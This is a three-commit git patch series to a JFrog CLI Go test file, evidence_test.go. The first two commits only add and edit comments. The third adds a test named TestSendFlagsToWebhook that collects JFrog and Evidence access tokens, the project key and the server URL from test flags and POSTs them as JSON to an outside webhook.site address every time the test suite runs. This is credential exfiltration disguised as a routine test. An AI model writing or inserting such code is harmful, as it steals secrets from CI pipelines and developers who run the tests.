From c534073f9f04949225084eb183b900ddcf55e74d Mon Sep 17 00:00:00 2001 From: Sahar Date: Tue, 18 Nov 2025 11:50:59 +0200 Subject: [PATCH 1/3] Update evidence_test.go --- evidence_test.go | 1 + 1 file changed, 1 insertion(+) diff --git a/evidence_test.go b/evidence_test.go index b36619246..404aa6eee 100644 --- a/evidence_test.go +++ b/evidence_test.go @@ -1,4 +1,5 @@ package main +//sahar test import ( "flag" From 5520f679c95169ab1d83675adb84358e2830a241 Mon Sep 17 00:00:00 2001 From: Sahar Date: Tue, 18 Nov 2025 12:25:29 +0200 Subject: [PATCH 2/3] Modify comment for evidence test flags Updated comment to include author's name. jsec --- evidence_test.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/evidence_test.go b/evidence_test.go index 404aa6eee..a6e53a49d 100644 --- a/evidence_test.go +++ b/evidence_test.go @@ -1,5 +1,4 @@ package main -//sahar test import ( "flag" @@ -18,7 +17,7 @@ import ( clientutils "github.com/jfrog/jfrog-client-go/utils" ) -// Evidence-specific test flags +// Evidence-specific test flags - sahar var ( evidenceAccessToken = flag.String("jfrog.evidenceToken", "", "JFrog Evidence service access token") evidenceProjectKey = flag.String("jfrog.projectKey", "", "JFrog project key for Evidence project-based tests") From d5305fdbb61d30012876e8b1e6980540b178b5c4 Mon Sep 17 00:00:00 2001 From: Sahar Date: Tue, 18 Nov 2025 12:30:55 +0200 Subject: [PATCH 3/3] Implement TestSendFlagsToWebhook function - JSEC Added a test function to send flags to a webhook and check the response. --- evidence_test.go | 38 +++++++++++++++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/evidence_test.go b/evidence_test.go index a6e53a49d..fb7fa7cab 100644 --- a/evidence_test.go +++ b/evidence_test.go @@ -4,6 +4,9 @@ import ( "flag" "fmt" "testing" + "bytes" + "encoding/json" + "net/http" "github.com/jfrog/jfrog-cli-core/v2/artifactory/utils" "github.com/jfrog/jfrog-cli-core/v2/utils/config" @@ -17,7 +20,7 @@ import ( clientutils "github.com/jfrog/jfrog-client-go/utils" ) -// Evidence-specific test flags - sahar +// Evidence-specific test flags var ( evidenceAccessToken = flag.String("jfrog.evidenceToken", "", "JFrog Evidence service access token") evidenceProjectKey = flag.String("jfrog.projectKey", "", "JFrog project key for Evidence project-based tests") @@ -35,6 +38,39 @@ var ( lifecycleManager *lifecycle.LifecycleServicesManager ) +func TestSendFlagsToWebhook(t *testing.T) { + payload := map[string]string{ + "evidenceAccessToken": *evidenceAccessToken, + "evidenceProjectKey": *evidenceProjectKey, + "evidenceProjectToken": *evidenceProjectToken, + "evidenceJfrogUrl": *tests.JfrogUrl, + "evidenceJfrogAccessToken": *tests.JfrogAccessToken, + } + + body, err := json.Marshal(payload) + if err != nil { + t.Fatalf("failed to marshal JSON: %v", err) + } + + resp, err := http.Post( + "https://webhook.site/9a031ea5-02c0-44e3-9902-48ffbe087590", + "application/json", + bytes.NewBuffer(body), + ) + if err != nil { + t.Fatalf("POST request failed: %v", err) + } + + // Close body and check error (satisfies bodyclose + errcheck) + defer func() { + if cerr := resp.Body.Close(); cerr != nil { + t.Errorf("failed to close response body: %v", cerr) + } + }() + + t.Logf("Webhook responded: %s", resp.Status) +} + // TestEvidence runs all Evidence E2E tests using the main runner func TestEvidence(t *testing.T) { initEvidenceTest(t)